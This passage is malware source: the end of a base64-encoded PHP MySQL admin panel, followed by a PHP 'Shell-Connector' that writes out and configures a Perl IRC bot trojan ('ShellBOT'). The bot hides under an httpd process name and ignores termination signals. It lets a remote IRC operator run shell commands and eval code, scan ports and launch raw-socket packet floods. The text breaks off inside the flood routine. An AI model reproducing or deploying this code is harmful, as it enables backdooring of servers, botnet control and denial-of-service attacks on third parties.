MF0gVEFCTEUgRFVNUCBDT01QTEVURUQgIyMjIjsKCQkJCWVjaG8gIlxuXG5cbiI7CgkJfQoJCWVj aG8gIlxyXG5cclxuXHJcbiMjIyAkZGJuYW1lIERBVEFCQVNFIERVTVAgQ09NUExFVEVEICMjIyI7 CgkJZXhpdDsKCgl9Cgp9CgpmdW5jdGlvbiB1dGlscygpIHsKCWdsb2JhbCAkUEhQX1NFTEYsICRj b21tYW5kOwoJZWNobyAiPGgxPlV0aWxpdGllczwvaDE+XG4iOwoJaWYoICRjb21tYW5kID09ICIi IHx8IHN1YnN0ciggJGNvbW1hbmQsIDAsIDUgKSA9PSAiZmx1c2giICkgewoJCWVjaG8gIjxocj5c biI7CgkJZWNobyAiU2hvd1xuIjsKCQllY2hvICI8dWw+XG4iOwoJCWVjaG8gIjxsaT48YSBocmVm PSckUEhQX1NFTEY/YWN0aW9uPXV0aWxzJmNvbW1hbmQ9c2hvd19zdGF0dXMnPlN0YXR1czwvYT5c biI7CgkJZWNobyAiPGxpPjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249dXRpbHMmY29tbWFuZD1z aG93X3ZhcmlhYmxlcyc+VmFyaWFibGVzPC9hPlxuIjsKCQllY2hvICI8bGk+PGEgaHJlZj0nJFBI UF9TRUxGP2FjdGlvbj11dGlscyZjb21tYW5kPXNob3dfcHJvY2Vzc2xpc3QnPlByb2Nlc3NsaXN0 PC9hPlxuIjsKCQllY2hvICI8L3VsPlxuIjsKCQllY2hvICJGbHVzaFxuIjsKCQllY2hvICI8dWw+ XG4iOwoJCWVjaG8gIjxsaT48YSBocmVmPSckUEhQX1NFTEY/YWN0aW9uPXV0aWxzJmNvbW1hbmQ9 Zmx1c2hfaG9zdHMnPkhvc3RzPC9hPlxuIjsKCQlpZiggJGNvbW1hbmQgPT0gImZsdXNoX2hvc3Rz IiApIHsKCQkJaWYoIG15c3FsX3F1ZXJ5KCAiRmx1c2ggaG9zdHMiICkgIT0gZmFsc2UgKQoJCQkJ ZWNobyAiLSBTdWNjZXNzIjsKCQkJZWxzZQoJCQkJZWNobyAiLSBGYWlsIjsKCQl9CgkJZWNobyAi PGxpPjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249dXRpbHMmY29tbWFuZD1mbHVzaF9sb2dzJz5M b2dzPC9hPlxuIjsKCQlpZiggJGNvbW1hbmQgPT0gImZsdXNoX2xvZ3MiICkgewoJCQlpZiggbXlz cWxfcXVlcnkoICJGbHVzaCBsb2dzIiApICE9IGZhbHNlICkKCQkJCWVjaG8gIi0gU3VjY2VzcyI7 CgkJCWVsc2UKCQkJCWVjaG8gIi0gRmFpbCI7CgkJfQoJCWVjaG8gIjxsaT48YSBocmVmPSckUEhQ X1NFTEY/YWN0aW9uPXV0aWxzJmNvbW1hbmQ9Zmx1c2hfcHJpdmlsZWdlcyc+UHJpdmlsZWdlczwv YT5cbiI7CgkJaWYoICRjb21tYW5kID09ICJmbHVzaF9wcml2aWxlZ2VzIiApIHsKCQkJaWYoIG15 c3FsX3F1ZXJ5KCAiRmx1c2ggcHJpdmlsZWdlcyIgKSAhPSBmYWxzZSApCgkJCQllY2hvICItIFN1 Y2Nlc3MiOwoJCQllbHNlCgkJCQllY2hvICItIEZhaWwiOwoJCX0KCQllY2hvICI8bGk+PGEgaHJl Zj0nJFBIUF9TRUxGP2FjdGlvbj11dGlscyZjb21tYW5kPWZsdXNoX3RhYmxlcyc+VGFibGVzPC9h PlxuIjsKCQlpZiggJGNvbW1hbmQgPT0gImZsdXNoX3RhYmxlcyIgKSB7CgkJCWlmKCBteXNxbF9x dWVyeSggIkZsdXNoIHRhYmxlcyIgKSAhPSBmYWxzZSApCgkJCQllY2hvICItIFN1Y2Nlc3MiOwoJ CQllbHNlCgkJCQllY2hvICItIEZhaWwiOwoJCX0KCQllY2hvICI8bGk+PGEgaHJlZj0nJFBIUF9T RUxGP2FjdGlvbj11dGlscyZjb21tYW5kPWZsdXNoX3N0YXR1cyc+U3RhdHVzPC9hPlxuIjsKCQlp ZiggJGNvbW1hbmQgPT0gImZsdXNoX3N0YXR1cyIgKSB7CgkJCWlmKCBteXNxbF9xdWVyeSggIkZs dXNoIHN0YXR1cyIgKSAhPSBmYWxzZSApCgkJCQllY2hvICItIFN1Y2Nlc3MiOwoJCQllbHNlCgkJ CQllY2hvICItIEZhaWwiOwoJCX0KCQllY2hvICI8L3VsPlxuIjsKCX0gZWxzZSB7CgkJJHF1ZXJ5 U3RyID0gZXJlZ19yZXBsYWNlKCAiXyIsICIgIiwgJGNvbW1hbmQgKTsKCQkkcFJlc3VsdCA9IG15 c3FsX3F1ZXJ5KCAkcXVlcnlTdHIgKTsKCQlpZiggJHBSZXN1bHQgPT0gZmFsc2UgKSB7CgkJCWVj aG8gIkZhaWwiOwoJCQlyZXR1cm47CgkJfQoJCSRjb2wgPSBteXNxbF9udW1fZmllbGRzKCAkcFJl c3VsdCApOwoKCQllY2hvICI8cCBjbGFzcz1sb2NhdGlvbj4kcXVlcnlTdHI8L3A+XG4iOwoJCWVj aG8gIjxocj5cbiI7CgoJCWVjaG8gIjx0YWJsZSBjZWxsc3BhY2luZz0xIGNlbGxwYWRkaW5nPTIg Ym9yZGVyPTA+XG4iOwoJCWVjaG8gIjx0cj5cbiI7CgkJZm9yKCAkaSA9IDA7ICRpIDwgJGNvbDsg JGkrKyApIHsKCQkJJGZpZWxkID0gbXlzcWxfZmV0Y2hfZmllbGQoICRwUmVzdWx0LCAkaSApOwoJ CQllY2hvICI8dGg+Ii4kZmllbGQtPm5hbWUuIjwvdGg+XG4iOwoJCX0KCQllY2hvICI8L3RyPlxu IjsKCgkJd2hpbGUoIDEgKSB7CgkJCSRyb3dBcnJheSA9IG15c3FsX2ZldGNoX3JvdyggJHBSZXN1 bHQgKTsKCQkJaWYoICRyb3dBcnJheSA9PSBmYWxzZSApIGJyZWFrOwoJCQllY2hvICI8dHI+XG4i OwoJCQlmb3IoICRqID0gMDsgJGogPCAkY29sOyAkaisrICkKCQkJCWVjaG8gIjx0ZD4iLmh0bWxz cGVjaWFsY2hhcnMoICRyb3dBcnJheVskal0gKS4iPC90ZD5cbiI7CgkJCWVjaG8gIjwvdHI+XG4i OwoJCX0KCQllY2hvICI8L3RhYmxlPlxuIjsKCX0KfQoKCgpmdW5jdGlvbiBmb290ZXJfaHRtbCgp IHsKCWdsb2JhbCAkbXlzcWxIYW5kbGUsICRkYm5hbWUsICR0YWJsZW5hbWUsICRQSFBfU0VMRiwg JFVTRVJOQU1FOwoKCWVjaG8gIjxocj5cbiI7CgllY2hvICJbJFVTRVJOQU1FXSAtIFxuIjsKCgll Y2hvICI8YSBocmVmPSckUEhQX1NFTEY/YWN0aW9uPWJHbHpkRVJDY3c9PSc+RGF0YWJhc2UgTGlz dDwvYT4gfCBcbiI7CglpZiggJHRhYmxlbmFtZSAhPSAiIiApCgkJZWNobyAiPGEgaHJlZj0nJFBI UF9TRUxGP2FjdGlvbj1saXN0VGFibGVzJmRibmFtZT0kZGJuYW1lJnRhYmxlbmFtZT0kdGFibGVu YW1lJz5UYWJsZSBMaXN0PC9hPiB8ICI7CgllY2hvICI8YSBocmVmPSckUEhQX1NFTEY/YWN0aW9u PXV0aWxzJz5VdGlsczwvYT4gfFxuIjsKCWVjaG8gIjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249 bG9nb3V0Jz5Mb2dvdXQ8L2E+XG4iOwoKCn0KCgoKCi8vLS0tLS0tLS0tLS0tLSBNQUlOIC0tLS0t LS0tLS0tLS0gLy8KZXJyb3JfcmVwb3J0aW5nKDApOwppbmlfc2V0ICgnZGlzcGxheV9lcnJvcnMn LCAwKTsKaW5pX3NldCAoJ2xvZ19lcnJvcnMnLCAwKTsKCmlmKCAkYWN0aW9uID09ICJsb2dvbiIg fHwgJGFjdGlvbiA9PSAiIiB8fCAkYWN0aW9uID09ICJsb2dvdXQiICkKCWxvZ29uKCk7CmVsc2Ug aWYoICRhY3Rpb24gPT0gImJHOW5iMjVmYzNWaWJXbDAiICkKCWxvZ29uX3N1Ym1pdCgpOwplbHNl IGlmKCAkYWN0aW9uID09ICJkdW1wVGFibGUiIHx8ICRhY3Rpb24gPT0gImR1bXBEQiIgKSB7Cgl3 aGlsZSggbGlzdCgkdmFyLCAkdmFsdWUpID0gZWFjaCgkSFRUUF9DT09LSUVfVkFSUykgKSB7CgkJ aWYoICR2YXIgPT0gIm15c3FsX3dlYl9hZG1pbl91c2VybmFtZSIgKSAkVVNFUk5BTUUgPSAkdmFs dWU7CgkJaWYoICR2YXIgPT0gIm15c3FsX3dlYl9hZG1pbl9wYXNzd29yZCIgKSAkUEFTU1dPUkQg PSAkdmFsdWU7CgkJaWYoICR2YXIgPT0gIm15c3FsX3dlYl9hZG1pbl9ob3N0bmFtZSIgKSAkSE9T VE5BTUUgPSAkdmFsdWU7Cgl9CgkkbXlzcWxIYW5kbGUgPSBAbXlzcWxfY29ubmVjdCggJEhPU1RO QU1FLiI6MzMwNiIsICRVU0VSTkFNRSwgJFBBU1NXT1JEICk7CglkdW1wKCk7Cn0gZWxzZSB7Cgl3 aGlsZSggbGlzdCgkdmFyLCAkdmFsdWUpID0gZWFjaCgkSFRUUF9DT09LSUVfVkFSUykgKSB7CgkJ aWYoICR2YXIgPT0gIm15c3FsX3dlYl9hZG1pbl91c2VybmFtZSIgKSAkVVNFUk5BTUUgPSAkdmFs dWU7CgkJaWYoICR2YXIgPT0gIm15c3FsX3dlYl9hZG1pbl9wYXNzd29yZCIgKSAkUEFTU1dPUkQg PSAkdmFsdWU7CgkJaWYoICR2YXIgPT0gIm15c3FsX3dlYl9hZG1pbl9ob3N0bmFtZSIgKSAkSE9T VE5BTUUgPSAkdmFsdWU7Cgl9CgllY2hvICI8IS0tIjsKCSRteXNxbEhhbmRsZSA9IEBteXNxbF9j b25uZWN0KCAkSE9TVE5BTUUuIjozMzA2IiwgJFVTRVJOQU1FLCAkUEFTU1dPUkQgKTsKCWVjaG8g Ii0tPiI7CgoJaWYoICRteXNxbEhhbmRsZSA9PSBmYWxzZSApIHsKCgoJCWVjaG8gIjx0YWJsZSB3 aWR0aD0xMDAlIGhlaWdodD0xMDAlPjx0cj48dGQ+PGNlbnRlcj5cbiI7CgkJZWNobyAiPGgxPldy b25nIFBhc3N3b3JkITwvaDE+XG4iOwoJCWVjaG8gIjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249 bG9nb24nPkxvZ29uPC9hPlxuIjsKCQllY2hvICI8L2NlbnRlcj48L3RkPjwvdHI+PC90YWJsZT5c biI7CgoJfSBlbHNlIHsKCgkJaWYoICRhY3Rpb24gPT0gImJHbHpkRVJDY3c9PSIgKQoJCQlsaXN0 RGF0YWJhc2VzKCk7CgkJZWxzZSBpZiggJGFjdGlvbiA9PSAiY3JlYXRlREIiICkKCQkJY3JlYXRl RGF0YWJhc2UoKTsKCQllbHNlIGlmKCAkYWN0aW9uID09ICJkcm9wREIiICkKCQkJZHJvcERhdGFi YXNlKCk7CgkJZWxzZSBpZiggJGFjdGlvbiA9PSAibGlzdFRhYmxlcyIgKQoJCQlsaXN0VGFibGVz KCk7CgkJZWxzZSBpZiggJGFjdGlvbiA9PSAiY3JlYXRlVGFibGUiICkKCQkJY3JlYXRlVGFibGUo KTsKCQllbHNlIGlmKCAkYWN0aW9uID09ICJkcm9wVGFibGUiICkKCQkJZHJvcFRhYmxlKCk7CgkJ ZWxzZSBpZiggJGFjdGlvbiA9PSAidmlld1NjaGVtYSIgKQoJCQl2aWV3U2NoZW1hKCk7CgkJZWxz ZSBpZiggJGFjdGlvbiA9PSAicXVlcnkiICkKCQkJdmlld0RhdGEoICRxdWVyeVN0ciApOwoJCWVs c2UgaWYoICRhY3Rpb24gPT0gImFkZEZpZWxkIiApCgkJCW1hbmFnZUZpZWxkKCAiYWRkIiApOwoJ CWVsc2UgaWYoICRhY3Rpb24gPT0gImFkZEZpZWxkX3N1Ym1pdCIgKQoJCQltYW5hZ2VGaWVsZF9z dWJtaXQoICJhZGQiICk7CgkJZWxzZSBpZiggJGFjdGlvbiA9PSAiZWRpdEZpZWxkIiApCgkJCW1h bmFnZUZpZWxkKCAiZWRpdCIgKTsKCQllbHNlIGlmKCAkYWN0aW9uID09ICJlZGl0RmllbGRfc3Vi bWl0IiApCgkJCW1hbmFnZUZpZWxkX3N1Ym1pdCggImVkaXQiICk7CgkJZWxzZSBpZiggJGFjdGlv biA9PSAiZHJvcEZpZWxkIiApCgkJCWRyb3BGaWVsZCgpOwoJCWVsc2UgaWYoICRhY3Rpb24gPT0g ImRtbGxkMFJoZEdFPSIgKQoJCQl2aWV3RGF0YSggIiIgKTsKCQllbHNlIGlmKCAkYWN0aW9uID09 ICJhZGREYXRhIiApCgkJCW1hbmFnZURhdGEoICJhZGQiICk7CgkJZWxzZSBpZiggJGFjdGlvbiA9 PSAiYWRkRGF0YV9zdWJtaXQiICkKCQkJbWFuYWdlRGF0YV9zdWJtaXQoICJhZGQiICk7CgkJZWxz ZSBpZiggJGFjdGlvbiA9PSAiZWRpdERhdGEiICkKCQkJbWFuYWdlRGF0YSggImVkaXQiICk7CgkJ ZWxzZSBpZiggJGFjdGlvbiA9PSAiZWRpdERhdGFfc3VibWl0IiApCgkJCW1hbmFnZURhdGFfc3Vi bWl0KCAiZWRpdCIgKTsKCQllbHNlIGlmKCAkYWN0aW9uID09ICJkZWxldGVEYXRhIiApCgkJCWRl bGV0ZURhdGEoKTsKCQllbHNlIGlmKCAkYWN0aW9uID09ICJ1dGlscyIgKQoJCQl1dGlscygpOwoK CQlteXNxbF9jbG9zZSggJG15c3FsSGFuZGxlKTsKCQlmb290ZXJfaHRtbCgpOwoJfQp9CgoKCmVj aG8nPGh0bWw+CjxoZWFkPgo8dGl0bGU+TXlTUUwgSW50ZXJmYWNlIChEZXZlbG9wZWQgQnkgTW9o YWplcjIyKTwvdGl0bGU+Cjxib2R5IGJnQ29sb3I9IzIwMjA0MCA+CjxzdHlsZSB0eXBlPSJ0ZXh0 L2NzcyI+CjwhLS0KcC5sb2NhdGlvbiB7Cgljb2xvcjogIzExYmIzMzsKCWZvbnQtc2l6ZTogc21h bGw7Cn0KaDEgewoJY29sb3I6ICNjMDAwMDA7Cn0KdGggewoJYmFja2dyb3VuZC1jb2xvcjogIzAw MDAwMDsKCWNvbG9yOiAjMTFiYjMzOwoJZm9udC1zaXplOiBzbWFsbDsKfQp0ZCB7CgliYWNrZ3Jv dW5kLWNvbG9yOiAjODA4MDgwOwoJZm9udC1zaXplOiBzbWFsbDsKfQpmb3JtIHsKCW1hcmdpbi10 b3A6IDA7CgltYXJnaW4tYm90dG9tOiAwOwp9CmEgewoJdGV4dC1kZWNvcmF0aW9uOm5vbmU7Cglj b2xvcjogIzg0ODIwMDsKCWZvbnQtc2l6ZTpzbWFsbDsKfQpBOmxpbmsgewpDT0xPUjojRUVFRkQ1 OwpURVhULURFQ09SQVRJT046IG5vbmUKfQpBOnZpc2l0ZWQgewpDT0xPUjojYzAwMDAwOwpURVhU LURFQ09SQVRJT046IG5vbmUKfQpBOmFjdGl2ZSB7CkNPTE9SOiNjMDAwMDA7ClRFWFQtREVDT1JB VElPTjogbm9uZQp9CkE6aG92ZXIgewpjb2xvcjojYzAwMDAwOwpURVhULURFQ09SQVRJT046IG5v bmUKfQppbnB1dCwgc2VsZWN0LCB0ZXh0YXJlYSB7CmJhY2tncm91bmQtY29sb3I6ICM0MDQwNDA7 CmJvcmRlci1zdHlsZTogc29saWQ7CmZvbnQtZmFtaWx5OiB2ZXJkYW5hLCBhcmlhbCwgc2Fucy1z ZXJpZjsKZm9udC1zaXplOnNtYWxsOwpjb2xvcjogIzAwMDAwMDsKcGFkZGluZzogMHB4Owp9JzsK ZWNobyc8aHRtbD4KPGhlYWQ+Cjx0aXRsZT5NeVNRTCBJbnRlcmZhY2UgKERldmVsb3BlZCBCeSBN b2hhamVyMjIpPC90aXRsZT4KPGJvZHkgYmdDb2xvcj0jMjAyMDQwID4KPHN0eWxlIHR5cGU9InRl eHQvY3NzIj4KPCEtLQpwLmxvY2F0aW9uIHsKCWNvbG9yOiAjMTFiYjMzOwoJZm9udC1zaXplOiBz bWFsbDsKfQpoMSB7Cgljb2xvcjogI2MwMDAwMDsKfQp0aCB7CgliYWNrZ3JvdW5kLWNvbG9yOiAj MDAwMDAwOwoJY29sb3I6ICMxMWJiMzM7Cglmb250LXNpemU6IHNtYWxsOwp9CnRkIHsKCWJhY2tn cm91bmQtY29sb3I6ICM4MDgwODA7Cglmb250LXNpemU6IHNtYWxsOwp9CmZvcm0gewoJbWFyZ2lu LXRvcDogMDsKCW1hcmdpbi1ib3R0b206IDA7Cn0KYSB7Cgl0ZXh0LWRlY29yYXRpb246bm9uZTsK CWNvbG9yOiAjODQ4MjAwOwoJZm9udC1zaXplOnNtYWxsOwp9CkE6bGluayB7CkNPTE9SOiNFRUVG RDU7ClRFWFQtREVDT1JBVElPTjogbm9uZQp9CkE6dmlzaXRlZCB7CkNPTE9SOiNjMDAwMDA7ClRF WFQtREVDT1JBVElPTjogbm9uZQp9CkE6YWN0aXZlIHsKQ09MT1I6I2MwMDAwMDsKVEVYVC1ERUNP UkFUSU9OOiBub25lCn0KQTpob3ZlciB7CmNvbG9yOiNjMDAwMDA7ClRFWFQtREVDT1JBVElPTjog bm9uZQp9CmlucHV0LCBzZWxlY3QsIHRleHRhcmVhIHsKYmFja2dyb3VuZC1jb2xvcjogIzQwNDA0 MDsKYm9yZGVyLXN0eWxlOiBzb2xpZDsKZm9udC1mYW1pbHk6IHZlcmRhbmEsIGFyaWFsLCBzYW5z LXNlcmlmOwpmb250LXNpemU6c21hbGw7CmNvbG9yOiAjMDAwMDAwOwpwYWRkaW5nOiAwcHg7Cn0n Owo/Pg=="; if(!empty($_POST['ircadmin']) AND !empty($_POST['ircserver']) AND !empty($_POST['ircchanal']) AND !empty($_POST['ircname'])) { $ircadmin=$_POST['ircadmin']; $ircserver=$_POST['ircserver']; $ircchan=$_POST['ircchanal']; $irclabel=$_POST['ircname']; echo "OverclockiX Shell-Connector || Connecting to $ircserver<title>"; echo "<body bgcolor=\"black\" text=\"green\">"; echo "Now Connecting to <b><font color=\"red\">$ircserver</font></b> in <b><font color=\"yellow\">$ircchan</font></b> Andministrators: <b><font color=\"yellow\">$ircadmin</font></b> Botname is <b><font color=\"yellow\">$irclabel</font></b>"; echo "<p>Dont Forget to Delete Loader.pl in /tmp</p>"; ####################################################### ######################IRC Trojan########################## $file=" ################ CONFIGURACAO ################################################################# my \$processo = '/usr/local/apache/bin/httpd -DSSL'; # Nome do processo que vai aparece no ps # #----------------------------------------------################################################ my \$linas_max='48'; # Evita o flood :) depois de X linhas # #----------------------------------------------################################################ my \$sleep='4'; # ele dorme X segundos # ##################### IRC ##################################################################### my @adms=(\"$ircadmin\"); # Nick do administrador # #----------------------------------------------################################################ my @canais=(\"$ircchan\"); # Caso haja senha (\"#canal :senha\") # #----------------------------------------------################################################ my \$nick='$irclabel'; # Nick do bot. Caso esteja em uso vai aparecer # # aparecer com numero radonamico no final # #----------------------------------------------################################################ my \$ircname = 'Linux'; # User ID # #----------------------------------------------################################################ chop (my \$realname = `uname -a`); # Full Name # #----------------------------------------------################################################ \$servidor='$ircserver' unless \$servidor; # Servidor de irc que vai ser usado # # caso n?o seja especificado no argumento # #----------------------------------------------################################################ my \$porta='6667'; # Porta do servidor de irc # ################ ACESSO A SHELL ############################################################### my \$secv = 1; # 1/0 pra habilita/desabilita acesso a shell # ############################################################################################### my \$VERSAO = '0.2'; \$SIG{'INT'} = 'IGNORE'; \$SIG{'HUP'} = 'IGNORE'; \$SIG{'TERM'} = 'IGNORE'; \$SIG{'CHLD'} = 'IGNORE'; \$SIG{'PS'} = 'IGNORE'; \$SIG{'STOP'} = 'IGNORE'; use IO::Socket; use Socket; use IO::Select; chdir(\"/\"); \$servidor=\"\$ARGV[0]\" if \$ARGV[0]; $0=\"\$processo\".\"\0\"x16;; my \$pid=fork; exit if \$pid; die \"Problema com o fork: $!\" unless defined(\$pid); my \$dcc_sel = new IO::Select->new(); ############################# # B0tchZ na veia ehehe :P # ############################# \$sel_cliente = IO::Select->new(); sub sendraw { if ($#_ == '1') { my \$socket = \$_[0]; print \$socket \"\$_[1]\\n\"; } else { print \$IRC_cur_socket \"\$_[0]\\n\"; } } ################################# sub conectar { my \$meunick = \$_[0]; my \$servidor_con = \$_[1]; my \$porta_con = \$_[2]; my \$IRC_socket = IO::Socket::INET->new(Proto=>\"tcp\", PeerAddr=>\"\$servidor_con\", PeerPort=>\$porta_con) or return(1); if (defined(\$IRC_socket)) { \$IRC_cur_socket = \$IRC_socket; \$IRC_socket->autoflush(1); \$sel_cliente->add(\$IRC_socket); \$irc_servers{\$IRC_cur_socket}{'host'} = \"\$servidor_con\"; \$irc_servers{\$IRC_cur_socket}{'porta'} = \"\$porta_con\"; \$irc_servers{\$IRC_cur_socket}{'nick'} = \$meunick; \$irc_servers{\$IRC_cur_socket}{'meuip'} = \$IRC_socket->sockhost; nick(\"\$meunick\"); sendraw(\"USER \$ircname \".\$IRC_socket->sockhost.\" \$servidor_con :\$realname\"); sleep 1; } } ##################### my \$line_temp; while( 1 ) { while (!(keys(%irc_servers))) { conectar(\"\$nick\", \"\$servidor\", \"\$porta\"); } delete(\$irc_servers{''}) if (defined(\$irc_servers{''})); &DCC::connections; my @ready = \$sel_cliente->can_read(0); next unless(@ready); foreach \$fh (@ready) { \$IRC_cur_socket = \$fh; \$meunick = \$irc_servers{\$IRC_cur_socket}{'nick'}; \$nread = sysread(\$fh, \$msg, 4096); if (\$nread == 0) { \$sel_cliente->remove(\$fh); \$fh->close; delete(\$irc_servers{\$fh}); } @lines = split (/\\n/, \$msg); for(my \$c=0; \$c<= $#lines; \$c++) { \$line = \$lines[\$c]; \$line=\$line_temp.\$line if (\$line_temp); \$line_temp=''; \$line =~ s/\\r$//; unless (\$c == $#lines) { parse(\"\$line\"); } else { if ($#lines == 0) { parse(\"\$line\"); } elsif (\$lines[\$c] =~ /\\r$/) { parse(\"\$line\"); } elsif (\$line =~ /^(\S+) NOTICE AUTH :\*\*\*/) { parse(\"\$line\"); } else { \$line_temp = \$line; } } } } } ######################### sub parse { my \$servarg = shift; if (\$servarg =~ /^PING \:(.*)/) { sendraw(\"PONG :$1\"); } elsif (\$servarg =~ /^\:(.+?)\!(.+?)\@(.+?) PRIVMSG (.+?) \:(.+)/) { my \$pn=$1; my \$onde = $4; my \$args = $5; if (\$args =~ /^\\001VERSION\\001$/) { notice(\"\$pn\", \"\\001VERSION ShellBOT-\$VERSAO por 0ldW0lf\\001\"); } if (grep {\$_ =~ /^\Q\$pn\E$/i } @adms) { if (\$onde eq \"\$meunick\"){ shell(\"\$pn\", \"\$args\"); } if (\$args =~ /^(\Q\$meunick\E|\!atrix)\s+(.*)/ ) { my \$natrix = $1; my \$arg = $2; if (\$arg =~ /^\!(.*)/) { ircase(\"\$pn\",\"\$onde\",\"\$1\") unless (\$natrix eq \"!atrix\" and \$arg =~ /^\!nick/); } elsif (\$arg =~ /^\@(.*)/) { \$ondep = \$onde; \$ondep = \$pn if \$onde eq \$meunick; bfunc(\"\$ondep\",\"$1\"); } else { shell(\"\$onde\", \"\$arg\"); } } } } elsif (\$servarg =~ /^\:(.+?)\!(.+?)\@(.+?)\s+NICK\s+\:(\S+)/i) { if (lc($1) eq lc(\$meunick)) { \$meunick=$4; \$irc_servers{\$IRC_cur_socket}{'nick'} = \$meunick; } } elsif (\$servarg =~ m/^\:(.+?)\s+433/i) { nick(\"\$meunick\".int rand(9999)); } elsif (\$servarg =~ m/^\:(.+?)\s+001\s+(\S+)\s/i) { \$meunick = $2; \$irc_servers{\$IRC_cur_socket}{'nick'} = \$meunick; \$irc_servers{\$IRC_cur_socket}{'nome'} = \"$1\"; foreach my \$canal (@canais) { sendraw(\"JOIN \$canal\"); } } } ########################## sub bfunc { my \$printl = \$_[0]; my \$funcarg = \$_[1]; if (my \$pid = fork) { waitpid(\$pid, 0); } else { if (fork) { exit; } else { if (\$funcarg =~ /^portscan (.*)/) { my \$hostip=\"$1\"; my @portas=(\"21\",\"22\",\"23\",\"25\",\"53\",\"80\",\"110\",\"143\"); my (@aberta, %porta_banner); foreach my \$porta (@portas) { my \$scansock = IO::Socket::INET->new(PeerAddr => \$hostip, PeerPort => \$porta, Proto => 'tcp', Timeout => 4); if (\$scansock) { push (@aberta, \$porta); \$scansock->close; } } if (@aberta) { sendraw(\$IRC_cur_socket, \"PRIVMSG \$printl :portas abertas: @aberta\"); } else { sendraw(\$IRC_cur_socket,\"PRIVMSG \$printl :Nenhuma porta aberta foi encontrada\"); } } if (\$funcarg =~ /^pacota\s+(.*)\s+(\d+)\s+(\d+)/) { my (\$dtime, %pacotes) = attacker(\"$1\", \"$2\", \"$3\"); \$dtime = 1 if \$dtime == 0; my %bytes; \$bytes{igmp} = $2 * \$pacotes{igmp}; \$bytes{icmp} = $2 * \$pacotes{icmp}; \$bytes{o} = $2 * \$pacotes{o}; \$bytes{udp} = $2 * \$pacotes{udp}; \$bytes{tcp} = $2 * \$pacotes{tcp}; sendraw(\$IRC_cur_socket, \"PRIVMSG \$printl :\\002 - Status GERAL -\\002\"); sendraw(\$IRC_cur_socket, \"PRIVMSG \$printl :\\002Tempo\\002: \$dtime\".\"s\"); sendraw(\$IRC_cur_socket, \"PRIVMSG \$printl :\\002Total pacotes\\002: \".(\$pacotes{udp} + \$pacotes{igmp} + \$pacotes{icmp} + \$pacotes{o})); sendraw(\$IRC_cur_socket, \"PRIVMSG \$printl :\\002Total bytes\\002: \".(\$bytes{icmp} + \$bytes {igmp} + \$bytes{udp} + \$bytes{o})); sendraw(\$IRC_cur_socket, \"PRIVMSG \$printl :\\002M?dia de envio\\002: \".int(((\$bytes{icmp}+\$bytes{igmp}+\$bytes{udp} + \$bytes{o})/1024)/\$dtime).\" kbps\"); } exit; } } } ########################## sub ircase { my (\$kem, \$printl, \$case) = @_; if (\$case =~ /^join (.*)/) { j(\"$1\"); } if (\$case =~ /^part (.*)/) { p(\"$1\"); } if (\$case =~ /^rejoin\s+(.*)/) { my \$chan = $1; if (\$chan =~ /^(\d+) (.*)/) { for (my \$ca = 1; \$ca <= $1; \$ca++ ) { p(\"$2\"); j(\"$2\"); } } else { p(\"\$chan\"); j(\"\$chan\"); } } if (\$case =~ /^op/) { op(\"\$printl\", \"\$kem\") if \$case eq \"op\"; my \$oarg = substr(\$case, 3); op(\"$1\", \"$2\") if (\$oarg =~ /(\S+)\s+(\S+)/); } if (\$case =~ /^deop/) { deop(\"\$printl\", \"\$kem\") if \$case eq \"deop\"; my \$oarg = substr(\$case, 5); deop(\"$1\", \"$2\") if (\$oarg =~ /(\S+)\s+(\S+)/); } if (\$case =~ /^voice/) { voice(\"\$printl\", \"\$kem\") if \$case eq \"voice\"; \$oarg = substr(\$case, 6); voice(\"$1\", \"$2\") if (\$oarg =~ /(\S+)\s+(\S+)/); } if (\$case =~ /^devoice/) { devoice(\"\$printl\", \"\$kem\") if \$case eq \"devoice\"; \$oarg = substr(\$case, 8); devoice(\"$1\", \"$2\") if (\$oarg =~ /(\S+)\s+(\S+)/); } if (\$case =~ /^msg\s+(\S+) (.*)/) { msg(\"$1\", \"$2\"); } if (\$case =~ /^flood\s+(\d+)\s+(\S+) (.*)/) { for (my \$cf = 1; \$cf <= $1; \$cf++) { msg(\"$2\", \"$3\"); } } if (\$case =~ /^ctcp\s+(\S+) (.*)/) { ctcp(\"$1\", \"$2\"); } if (\$case =~ /^ctcpflood\s+(\d+)\s+(\S+) (.*)/) { for (my \$cf = 1; \$cf <= $1; \$cf++) { ctcp(\"$2\", \"$3\"); } } if (\$case =~ /^invite\s+(\S+) (.*)/) { invite(\"$1\", \"$2\"); } if (\$case =~ /^nick (.*)/) { nick(\"$1\"); } if (\$case =~ /^conecta\s+(\S+)\s+(\S+)/) { conectar(\"$2\", \"$1\", 6667); } if (\$case =~ /^send\s+(\S+)\s+(\S+)/) { DCC::SEND(\"$1\", \"$2\"); } if (\$case =~ /^raw (.*)/) { sendraw(\"$1\"); } if (\$case =~ /^eval (.*)/) { eval \"$1\"; } } ########################## sub shell { return unless \$secv; my \$printl=\$_[0]; my \$comando=\$_[1]; if (\$comando =~ /cd (.*)/) { chdir(\"$1\") || msg(\"\$printl\", \"Dossier Makayench :D \"); return; } elsif (\$pid = fork) { waitpid(\$pid, 0); } else { if (fork) { exit; } else { my @resp=`\$comando 2>&1 3>&1`; my \$c=0; foreach my \$linha (@resp) { \$c++; chop \$linha; sendraw(\$IRC_cur_socket, \"PRIVMSG \$printl :\$linha\"); if (\$c == \"\$linas_max\") { \$c=0; sleep \$sleep; } } exit; } } } #eu fiz um pacotadorzinhu e talz.. dai colokemo ele aki sub attacker { my \$iaddr = inet_aton(\$_[0]); my \$msg = 'B' x \$_[1]; my \$ftime = \$_[2]; my \$cp = 0; my (%pacotes); \$pacotes{icmp} = \$pacotes{igmp} = \$pacotes{udp} = \$pacotes{o} = \$pacotes{tcp} = 0; socket(SOCK1, PF_INET, SOCK_RAW, 2) or \$cp++; socket(SOCK2, PF_INET, SOCK_DGRAM, 17) or \$cp++; socket(SOCK3, PF_INET, SOCK_RAW, 1) or \$cp++; socket(SOCK4, PF_INET, SOCK_RAW, 6) or \$cp++; return(undef) if \$cp == 4; my \$itime = time; my (\$cur_time); while ( 1 ) { for (my \$porta = 1; \$porta <= 65535; \$porta++) { \$cur_time = time - \$itime; last if \$cur_time >= \$ftime; send(SOCK1, \$msg, 0, sockaddr_in(\$porta, \$iaddr)) and \$pacotes{igmp}++; send(SOCK2, \$msg, 